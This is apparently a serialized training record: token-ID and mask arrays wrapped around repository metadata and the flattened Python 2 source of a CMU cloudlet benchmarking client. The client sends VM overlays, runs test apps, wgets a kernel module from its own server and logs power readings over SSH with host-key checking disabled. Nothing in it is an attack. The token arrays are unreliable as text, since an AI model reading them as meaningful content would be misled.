793, 14, 2730, 418, 199, 199, 3, 14092, 6602, 199, 12629, 63, 475, 63, 4247, 275, 18953, 6836, 297, 1987, 3187, 297, 1987, 2343, 418, 199, 3, 12629, 63, 475, 63, 4247, 847, 788, 1753, 63, 647, 86, 3347, 63, 9970, 418, 4388, 199, 318, 3531, 63, 12949, 8, 3619, 12, 3376, 29, 797, 304, 339, 754, 275, 3531, 63, 3908, 8, 3619, 12, 2432, 5478, 63, 475, 63, 4247, 12, 2432, 6602, 63, 475, 63, 4247, 12, 2432, 1584, 63, 475, 63, 4247, 12, 2432, 3376, 29, 3832, 9, 272, 372, 754, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
OpenEdgeComputing/elijah-provisioning
test/app-client/batch_files/cloudlet_client.py
2
18539
#!/usr/bin/env python # # Cloudlet Infrastructure for Mobile Computing # # Author: Kiryong Ha <krha@cmu.edu> # # Copyright (C) 2011-2013 Carnegie Mellon University # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import sys import socket from optparse import OptionParser from datetime import datetime import time import struct import math import urllib2 import urllib import json import subprocess from threading import Thread WATTS_BIN = "~/cloudlet/src/measurement/power/wattsup" OVERLAY_DIR = '/home/krha/cloudlet/image/overlay/old' command_type = ["synthesis_cloud", "synthesis_mobile", "isr_cloud", "isr_mobile"] application_names = ["moped", "face", "graphics", "speech", "mar", "null", "webserver"] cloudlet_server_ip = "cloudlet.krha.kr" cloudlet_server_port = 8021 isr_server_ip = "cloudlet.krha.kr" isr_server_port = 9091 is_stop_thread = False last_average_power = 0.0 delivery_server = "cloudlet.krha.kr" APP_DIR = "/home/krha/cloudlet/provision/src/net_client/applications" MOPED_client = "%s/moped_client.py -i ./input/moped -s %s -p 9092" % (APP_DIR, delivery_server) GRAPHICS_client = "%s/graphics_client.py -i ./input/graphics/acc_input_1sec -s %s -p 9093" % (APP_DIR, delivery_server) FACE_client = "java -jar %s/FACE/FacerecDesktopControlClient.jar %s 9876 ./input/face/" % (APP_DIR, delivery_server) SPEECH_client = "java -jar %s/SPEECH/SpeechrecDesktopControlClient.jar %s 10191 ./input/speech" % (APP_DIR, delivery_server) MAR_client = "%s/mar_client.py -i ./input/mar/ -s %s -p 9094" % (APP_DIR, delivery_server) def convert_to_CDF(input_file): input_lines = open(input_file, "r").read().split("\n") rtt_list = [] jitter_sum = 0.0 start_time = 0.0 end_time = 0.0 for index, oneline in enumerate(input_lines): if len(oneline.split("\t")) != 6 and len(oneline.split("\t")) != 5: #sys.stderr.write("Error at input line at %d, %s\n" % (index, oneline)) continue try: if float(oneline.split("\t")[2]) == 0: sys.stderr.write("Error at input line at %d, %s\n" % (index, oneline)) continue except ValueError: continue try: rtt_list.append(float(oneline.split("\t")[3])) if not index == 0: # protect error case where initial jitter value is equals to latency jitter_sum += (float(oneline.split("\t")[4])) if start_time == 0.0: start_time = float(oneline.split("\t")[1]) end_time = float(oneline.split("\t")[2]) except ValueError: sys.stderr.write("Error at input line at %d, %s\n" % (index, oneline)) continue rtt_sorted = sorted(rtt_list) total_rtt_number = len(rtt_sorted) cdf = [] summary = "%f\t%f\t%f" % ( \ rtt_sorted[int(total_rtt_number*0.01)], \ rtt_sorted[int(total_rtt_number*0.5)], \ rtt_sorted[int(total_rtt_number*0.99)]) for index, value in enumerate(rtt_sorted): data = (value, 1.0 * (index+1)/total_rtt_number) cdf.append(data) return summary, cdf def recv_all(sock, size): data = '' while len(data) < size: data += sock.recv(size - len(data)) return data def get_local_ipaddress(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("gmail.com",80)) ipaddress = (s.getsockname()[0]) s.close() return ipaddress def process_command_line(argv): global command_type global application_names parser = OptionParser(usage="usage: ./cloudlet_client.py -c [%s]" % "|".join(command_type), version="Desktop Cloudlet Client") parser.add_option( '-c', '--commnad', action='store', type='string', dest='command', help="Set Command Type among (%s)" % ",".join(command_type)) parser.add_option( '-a', '--app', action='store', type='string', dest='app', help="Set Application name among (%s)" % ",".join(application_names)) parser.add_option( '-p', '--power', dest='power', help="Set power measurement") settings, args = parser.parse_args(argv) if not len(args) == 0: parser.error('program takes no command-line arguments; "%s" ignored.' % (args,)) if not settings.command: parser.error("Command is required :%s" % ' '.join(command_type)) if not settings.command in command_type: parser.error("Command is required :%s" % ' '.join(command_type)) if not settings.app: parser.error("Application name is required :%s" % ' '.join(application_names)) if not settings.app in application_names: parser.error("Application name is required :%s" % ' '.join(application_names)) return settings, args def isr_launch(url, device, app_name): print "Requesting.. %s, %s, %s" % (url, device, app_name) #JSON data json_data = json.dumps({"run-type":device, "application":app_name}) parameters = {'info':json_data} data = urllib.urlencode(parameters) request = urllib2.Request(url, data) try: response = urllib2.urlopen(request) except urllib2.HTTPError, msg: sys.stderr.write("Error at HTTP: %s\n" % msg) sys.exit(1) print response def synthesis_from_cloud(url, app_name): print "Requesting.. %s, %s" % (url, app_name) #JSON data json_data = json.dumps({"run-type":"test", "application":app_name}) parameters = {'info':json_data} data = urllib.urlencode(parameters) request = urllib2.Request(url, data) try: response = urllib2.urlopen(request) except urllib2.HTTPError, msg: sys.stderr.write("Error at HTTP: %s\n" % msg) sys.exit(1) print response def run_application(app_name): cmd, output_file = get_app_cmd(app_name) return exec_application(cmd), output_file def get_app_cmd(app_name): global application_names cmd = '' output_file = '' if not os.path.exists("./ret"): os.mkdir("./ret") time_str = datetime.now().strftime("%a:%X") if app_name == application_names[0]: # moped output_file = "./ret/o_cloudlet_" + time_str cmd = MOPED_client + " 2>&1 > %s" % str(output_file) elif app_name == application_names[1]: # face output_file = "./ret/f_cloudlet_" + time_str cmd = FACE_client + " 2>&1 > %s" % output_file elif app_name == application_names[2]: # physics output_file = "./ret/g_cloudlet_" + time_str cmd = GRAPHICS_client + " 2>&1 > %s" % output_file elif app_name == application_names[3]: # speech output_file = "./ret/s_cloudlet_" + time_str cmd = SPEECH_client + " 2>&1 > %s" % output_file elif app_name == application_names[4]: # speech output_file = "./ret/s_cloudlet_" + time_str cmd = MAR_client + " 2>&1 > %s" % output_file elif app_name == application_names[5]: # null return 0, output_file elif app_name == application_names[6]: # webserver cmd = "wget %s:9092/vmtest.ko" % delivery_server return cmd, output_file def exec_application(cmd): print "Run client : %s" % (cmd) while True: proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE) while True: output = proc.stdout.readline() if len(output) == 0: break; #sys.stdout.write(output) #sys.stdout.flush() time.sleep(0.001) proc.wait() if proc.returncode == 0: break else: time.sleep(0.1) return proc.returncode def get_overlay_info(app_name): global OVERLAY_DIR base_name = '' overlay_disk_path = '' overlay_disk_size = '' overlay_mem_path = '' overlay_mem_size = '' if app_name == application_names[0]: # moped base_name = 'ubuntu' overlay_disk_path = "%s/%s/moped/precise.overlay.4cpu.1024mem.qcow2.lzma" % (OVERLAY_DIR, base_name) overlay_disk_size = os.path.getsize(overlay_disk_path) overlay_mem_path = "%s/%s/moped/precise.overlay.4cpu.1024mem.mem.lzma" % (OVERLAY_DIR, base_name) overlay_mem_size = os.path.getsize(overlay_mem_path) elif app_name == application_names[1]: # face base_name = 'window7' overlay_disk_path = "%s/%s/face/window7.overlay.4cpu.1024mem.qcow2.lzma" % (OVERLAY_DIR, base_name) overlay_disk_size = os.path.getsize(overlay_disk_path) overlay_mem_path = "%s/%s/face/window7.overlay.4cpu.1024mem.mem.lzma" % (OVERLAY_DIR, base_name) overlay_mem_size = os.path.getsize(overlay_mem_path) elif app_name == application_names[2]: # physics base_name = 'ubuntu' overlay_disk_path = "%s/%s/graphics/precise.overlay.4cpu.1024mem.qcow2.lzma" % (OVERLAY_DIR, base_name) overlay_disk_size = os.path.getsize(overlay_disk_path) overlay_mem_path = "%s/%s/graphics/precise.overlay.4cpu.1024mem.mem.lzma" % (OVERLAY_DIR, base_name) overlay_mem_size = os.path.getsize(overlay_mem_path) elif app_name == application_names[3]: # speech base_name = 'ubuntu' overlay_disk_path = "%s/%s/speech/precise.overlay.4cpu.1024mem.qcow2.lzma" % (OVERLAY_DIR, base_name) overlay_disk_size = os.path.getsize(overlay_disk_path) overlay_mem_path = "%s/%s/speech/precise.overlay.4cpu.1024mem.mem.lzma" % (OVERLAY_DIR, base_name) overlay_mem_size = os.path.getsize(overlay_mem_path) elif app_name == application_names[4]: # mar base_name = 'window7' overlay_disk_path = "%s/%s/mar/window7.overlay.4cpu.1024mem.qcow2.lzma" % (OVERLAY_DIR, base_name) overlay_disk_size = os.path.getsize(overlay_disk_path) overlay_mem_path = "%s/%s/mar/window7.overlay.4cpu.1024mem.mem.lzma" % (OVERLAY_DIR, base_name) overlay_mem_size = os.path.getsize(overlay_mem_path) elif app_name == application_names[5]: # null base_name = 'ubuntu11.10-server' overlay_disk_path = "%s/%s/null/ubuntu-11.overlay.4cpu.1024mem.qcow2.lzma" % (OVERLAY_DIR, base_name) overlay_disk_size = os.path.getsize(overlay_disk_path) overlay_mem_path = "%s/%s/null/ubuntu-11.overlay.4cpu.1024mem.mem.lzma" % (OVERLAY_DIR, base_name) overlay_mem_size = os.path.getsize(overlay_mem_path) return (base_name, overlay_disk_path, overlay_disk_size, overlay_mem_path, overlay_mem_size) def synthesis(address, port, app_name): (base_name, overlay_disk_path, overlay_disk_size, overlay_mem_path, overlay_mem_size) = get_overlay_info(app_name) json_str = {"command":33, \ "protocol-version": "1.0", \ "VM":[{ \ "overlay_name":app_name, \ "memory_snapshot_path": overlay_mem_path, \ "memory_snapshot_size": overlay_mem_size, \ "diskimg_path": overlay_disk_path, \ "diskimg_size": overlay_disk_size, \ "base_name": base_name }],\ "Request_synthesis_core":"4" \ } print json.dumps(json_str, indent=4) # connection try: print "Connecting to (%s, %d).." % (address, port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setblocking(True) sock.connect((address, port)) except socket.error, msg: sys.stderr.write("Error, %s\n" % msg) sys.exit(1) # send header json_data = json.dumps(json_str) sock.sendall(struct.pack("!I", len(json_data))) sock.sendall(json_data) # send data disk_data = open(overlay_disk_path, "rb").read() sock.sendall(disk_data) mem_data = open(overlay_mem_path, "rb").read() sock.sendall(mem_data) #recv data = sock.recv(4) ret_size = struct.unpack("!I", data)[0] ret_data = recv_all(sock, ret_size); json_ret = json.loads(ret_data) ret_value = json_ret['return'] print ret_value if ret_value != "SUCCESS": print "Synthesis Failed" sys.exit(1) return 0 def server_run(address, port, command, server_output_file): return global is_stop_thread if command == command_type[0]: #synthesis from cloud server_cmd = "/home/krha/cloudlet/src/server/cloudlet_cloud.py run" elif command == command_type[1]: #synthesis from mobile server_cmd = "/home/krha/cloudlet/src/server/synthesis.py run -c /home/krha/cloudlet/src/server/config/VM_config.json" elif command == command_type[2]: #ISR from cloud server_cmd = "/home/krha/cloudlet/src/server/isr_run.py run -u test -s dagama.isr.cs.cmu.edu" elif command == command_type[3]: #ISR from mobile server_cmd = "/home/krha/cloudlet/src/server/isr_run.py run -u test -s netbook.krha.kr" cmd = "ssh -A -p %d krha@%s %s" % (port, address, server_cmd) print cmd proc = subprocess.Popen(cmd.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) server_log = open(server_output_file, "w") while is_stop_thread == False: time.sleep(1) if not proc.returncode: continue if proc.returncode != 0: print proc.stderr.readline() break if proc.returncode == 0: print "Server closed" break print "Terminate Server" server_log.close() proc.terminate() return 0 def energy_measurement(address, port, power_out_file): import paramiko global is_stop_thread global last_average_power # Start WattsUP through SSH ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(address, username='krha') command = "%s /dev/ttyUSB0" % WATTS_BIN ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command(command) start_time = datetime.now() power_sum = 0.0 power_counter = 0 power_log = open(power_out_file, "w") power_log_sum = open(power_out_file + ".sum", "w") while is_stop_thread == False: ret = ssh_stdout.readline() if not ret: continue power_value = float(ret.split(",")[0]) if power_value == 0.0: continue if power_value < 1.0 or power_value > 30.0: print "Error at Power Measurement with %f" % (power_value) sys.exit(1) power_log.write("%s\t%s" % (str(datetime.now()), ret)) #print "current power : %f" % power_value power_sum = power_sum + power_value power_counter = power_counter + 1 time.sleep(0.1) # Stop WattsUP through SSH end_time = datetime.now() message = "%s\t%f\t(%f/%d)" % (str(end_time-start_time), power_sum/power_counter, power_sum, power_counter) power_log_sum.write(message) ssh.close() power_log.close() power_log_sum.close() last_average_power = power_sum/power_counter print "Average Power for %s: %s" % (power_out_file, message) return 0 def main(argv=None): global command_type global cloudlet_server_ip global cloudlet_server_port global is_stop_thread global last_average_power is_stop_thread = False settings, args = process_command_line(sys.argv[1:]) time_str = datetime.now().strftime("%a:%X") ''' # This thread launch server-side counterpart using ssh command execute # We DO NOT recommend to use it beacuse it might cause problem related to X server_thread = Thread(target=server_run, args=("server.krha.kr", \ 22, settings.command, "./ret/%s.%s.server.%s" % (settings.command, settings.app, time_str))) server_thread.start() ''' if settings.power: energy_thread = Thread(target=energy_measurement, args=("dagama.isr.cs.cmu.edu", \ 22, "./ret/%s.%s.VM.%s" % (settings.command, settings.app, time_str))) energy_thread.start() time.sleep(5) vm_start_time = time.time() if settings.command == command_type[0]: #synthesis from cloud url = "http://%s:%d/cloudlet" % (cloudlet_server_ip, isr_server_port) synthesis_from_cloud(url, settings.app) elif settings.command == command_type[1]: #synthesis from mobile synthesis(cloudlet_server_ip, cloudlet_server_port, settings.app) elif settings.command == command_type[2]: #ISR from cloud url = "http://%s:%d/isr" % (cloudlet_server_ip, isr_server_port) isr_launch(url, "cloud", settings.app) elif settings.command == command_type[3]: #ISR from mobile url = "http://%s:%d/isr" % (cloudlet_server_ip, isr_server_port) isr_launch(url, "mobile", settings.app) vm_end_time = time.time() # run application app_start_time = time.time() while True: # Try to connect to Server program at VM until it gets some data ret, output_file = run_application(settings.app) if ret == 0: break; else: print "waiting for client connection" time.sleep(0.1) app_end_time = time.time() # wait for energy measurement is_stop_thread = True if settings.power: print "Finish VM Delivery and Wait for cool down 10 seconds for Application power measurement" energy_thread.join() vm_power = last_average_power time.sleep(10) # Print out measurement vm_time = vm_end_time-vm_start_time app_time = app_end_time-app_start_time first_response_time = app_end_time-vm_start_time #summary, cdf = convert_to_CDF(output_file) message = "-------------------------------------\n" message += "VM_time\tApp_time\n" message += "%f\t%f\n" % (vm_time, app_time) print message print "first response time: %f\n", (first_response_time) open(output_file + ".log", "w").write(message) return 0 if __name__ == "__main__": try: status = main() sys.exit(status) except KeyboardInterrupt: is_stop_thread = True sys.exit(1)
apache-2.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 221, 199, 3, 199, 3, 8142, 2723, 1010, 21844, 6976, 367, 29724, 27799, 199, 3, 199, 3, 257, 6529, 26, 1804, 73, 651, 951, 869, 65, 665, 16779, 2411, 32, 4400, 85, 14, 8654, 30, 199, 3, 199, 3, 257, 1898, 334, 35, 9, 7760, 13, 6965, 14243, 8705, 1873, 603, 1697, 265, 15904, 199, 3, 257, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 257, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 257, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 755, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 257, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 257, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 257, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 257, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 257, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 747, 199, 646, 984, 199, 646, 2838, 199, 504, 8691, 492, 13491, 199, 504, 2197, 492, 2197, 199, 646, 900, 199, 646, 2702, 199, 646, 3473, 199, 646, 4011, 18, 199, 646, 4011, 199, 646, 2022, 199, 646, 3873, 199, 504, 5796, 492, 11086, 199, 199, 55, 619, 9730, 63, 9431, 275, 26810, 15, 4091, 2723, 15, 2164, 15, 17912, 15, 5652, 15, 87, 32369, 384, 2, 199, 14336, 16897, 63, 3022, 275, 1994, 4219, 15, 16779, 2411, 15, 4091, 2723, 15, 1569, 15, 18534, 15, 1753, 7, 199, 199, 1531, 63, 466, 275, 2097, 9466, 14925, 63, 4091, 401, 298, 9466, 14925, 63, 11375, 401, 298, 374, 82, 63, 4091, 401, 298, 374, 82, 63, 11375, 937, 199, 3578, 63, 1247, 275, 2097, 573, 1915, 401, 298, 1409, 401, 298, 15707, 401, 298, 23660, 401, 298, 4584, 401, 298, 2307, 401, 298, 29819, 937, 199, 4091, 2723, 63, 1000, 63, 711, 275, 298, 4091, 2723, 14, 16779, 2411, 14, 16779, 2, 199, 4091, 2723, 63, 1000, 63, 719, 275, 1695, 15385, 199, 374, 82, 63, 1000, 63, 711, 275, 298, 4091, 2723, 14, 16779, 2411, 14, 16779, 2, 199, 374, 82, 63, 1000, 63, 719, 275, 1749, 21013, 199, 374, 63, 2379, 63, 2671, 275, 756, 199, 2019, 63, 8536, 63, 5652, 275, 378, 14, 16, 421, 199, 14564, 63, 1000, 275, 298, 4091, 2723, 14, 16779, 2411, 14, 16779, 2, 199, 7121, 63, 3022, 275, 3286, 4219, 15, 16779, 2411, 15, 4091, 2723, 15, 13717, 15, 2164, 15, 846, 63, 1258, 15, 15853, 2, 199, 45, 1938, 1149, 63, 1258, 275, 2071, 83, 15, 573, 1915, 63, 1258, 14, 647, 446, 73, 16605, 1210, 15, 573, 1915, 446, 83, 450, 83, 446, 80, 1749, 22097, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 25302, 21174, 63, 1258, 275, 2071, 83, 15, 15707, 63, 1258, 14, 647, 446, 73, 16605, 1210, 15, 15707, 15, 5470, 63, 1210, 63, 17, 3321, 446, 83, 450, 83, 446, 80, 1749, 19035, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 13199, 63, 1258, 275, 298, 6138, 446, 7338, 450, 83, 15, 13199, 15, 13414, 2761, 20436, 3717, 3041, 14, 7338, 450, 83, 1749, 14690, 16605, 1210, 15, 1409, 6687, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 14179, 25126, 63, 1258, 275, 298, 6138, 446, 7338, 450, 83, 15, 14179, 25126, 15, 27047, 12736, 2761, 20436, 3717, 3041, 14, 7338, 450, 83, 14313, 3328, 16605, 1210, 15, 23660, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 199, 45, 689, 63, 1258, 275, 2071, 83, 15, 4584, 63, 1258, 14, 647, 446, 73, 16605, 1210, 15, 4584, 15, 446, 83, 450, 83, 446, 80, 1749, 16285, 2, 450, 334, 7121, 63, 3022, 12, 18719, 63, 1000, 9, 421, 199, 318, 3957, 63, 475, 63, 18967, 8, 1210, 63, 493, 304, 272, 1324, 63, 1278, 275, 1551, 8, 1210, 63, 493, 12, 298, 82, 3471, 739, 1252, 1294, 4582, 78, 531, 272, 519, 6215, 63, 513, 275, 942, 272, 31292, 351, 63, 1838, 275, 378, 14, 16, 272, 1343, 63, 521, 275, 378, 14, 16, 272, 1284, 63, 521, 275, 378, 14, 16, 272, 367, 1478, 12, 641, 32347, 315, 3874, 8, 1210, 63, 1278, 304, 267, 340, 822, 8, 265, 32347, 14, 1294, 4582, 84, 2237, 1137, 1227, 436, 822, 8, 265, 32347, 14, 1294, 4582, 84, 2237, 1137, 959, 26, 288, 327, 1274, 14, 3083, 14, 952, 480, 547, 737, 1324, 1004, 737, 450, 68, 12, 450, 83, 60, 78, 2, 450, 334, 1080, 12, 641, 32347, 430, 288, 1980, 267, 862, 26, 288, 340, 2069, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 18, 566, 508, 378, 26, 355, 984, 14, 3083, 14, 952, 480, 547, 737, 1324, 1004, 737, 450, 68, 12, 450, 83, 60, 78, 2, 450, 334, 1080, 12, 641, 32347, 430, 355, 1980, 267, 871, 1722, 26, 288, 1980, 267, 862, 26, 288, 519, 6215, 63, 513, 14, 740, 8, 1609, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 19, 2459, 288, 340, 440, 1478, 508, 378, 26, 355, 327, 25863, 1125, 1930, 2382, 2536, 31292, 351, 574, 365, 18527, 370, 23967, 355, 31292, 351, 63, 1838, 847, 334, 1609, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 20, 2459, 953, 340, 1343, 63, 521, 508, 378, 14, 16, 26, 355, 1343, 63, 521, 275, 2069, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 17, 566, 288, 1284, 63, 521, 275, 2069, 8, 265, 32347, 14, 1294, 4582, 84, 9981, 18, 566, 267, 871, 1722, 26, 288, 984, 14, 3083, 14, 952, 480, 547, 737, 1324, 1004, 737, 450, 68, 12, 450, 83, 60, 78, 2, 450, 334, 1080, 12, 641, 32347, 430, 288, 1980, 339, 519, 6215, 63, 5917, 275, 3355, 8, 2591, 84, 63, 513, 9, 272, 3141, 63, 2591, 84, 63, 1955, 275, 822, 8, 2591, 84, 63, 5917, 9, 272, 26037 ]
[ 2647, 15, 1393, 15, 1813, 2366, 221, 199, 3, 199, 3, 8142, 2723, 1010, 21844, 6976, 367, 29724, 27799, 199, 3, 199, 3, 257, 6529, 26, 1804, 73, 651, 951, 869, 65, 665, 16779, 2411, 32, 4400, 85, 14, 8654, 30, 199, 3, 199, 3, 257, 1898, 334, 35, 9, 7760, 13, 6965, 14243, 8705, 1873, 603, 1697, 265, 15904, 199, 3, 257, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 257, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 257, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 755, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 257, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 257, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 257, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 257, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 257, 4204, 1334, 314, 844, 14, 199, 3, 199, 199, 646, 747, 199, 646, 984, 199, 646, 2838, 199, 504, 8691, 492, 13491, 199, 504, 2197, 492, 2197, 199, 646, 900, 199, 646, 2702, 199, 646, 3473, 199, 646, 